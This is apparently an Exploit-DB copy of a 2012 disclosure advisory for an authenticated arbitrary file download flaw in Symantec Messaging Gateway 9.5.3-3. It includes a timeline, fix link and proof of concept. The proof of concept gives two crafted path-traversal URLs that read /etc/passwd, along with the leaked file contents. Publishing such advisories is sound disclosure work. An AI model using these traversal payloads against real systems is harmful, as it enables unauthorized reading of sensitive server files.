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Symantec Messaging Gateway 9.5.3-3 Arbitrary File Download



EDB-ID: 23110 CVE: 2012-4347 OSVDB-ID: 88165
Author: Ben Williams Published: 2012-12-03 Verified: Not Verified
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Summary
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Name: Symantec Messaging Gateway - Arbitrary file download is possible with a crafted URL (authenticated)
Release Date: 30 November 2012
Reference: NGS00266
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference: 
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: Medium
Status: Published

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TimeLine
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Discovered: 17 April 2012
Released: 17 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012

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Description
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I. VULNERABILITY
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Symantec Messaging Gateway 9.5.3-3 - Arbitrary file download is possible with a crafted URL (authenticated)

II. BACKGROUND
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Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance

III. DESCRIPTION
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The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user

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Technical Details
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IV. PROOF OF CONCEPT
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Various files containing sensitive information can be downloaded using a crafted URL for example:

http://192.168.1.59:41080/brightmail/export?type=logs&logFile=../../../etc/passwd&logType=1&browserType=1

Which produces a file containing:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
postfix:x:100:101::/home/postfix:/bin/bash
mailwall:x:500:501::/home/mailwall:/bin/bash
mysql:x:501:103::/home/mysql:/bin/bash
bcc:x:502:99::/home/bcc:/bin/bash
support:x:503:503::/home/support:/bin/bash
admin:x:504:501::/home/admin:/bin/rbash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin

Simliar issues can be seen in other places such as here:

http://192.168.1.59:41080/brightmail/admin/restore/download.do?no-cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=../../etc/passwd

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Fix Information
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An updated version of the software has been released to address the vulnerability:

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00

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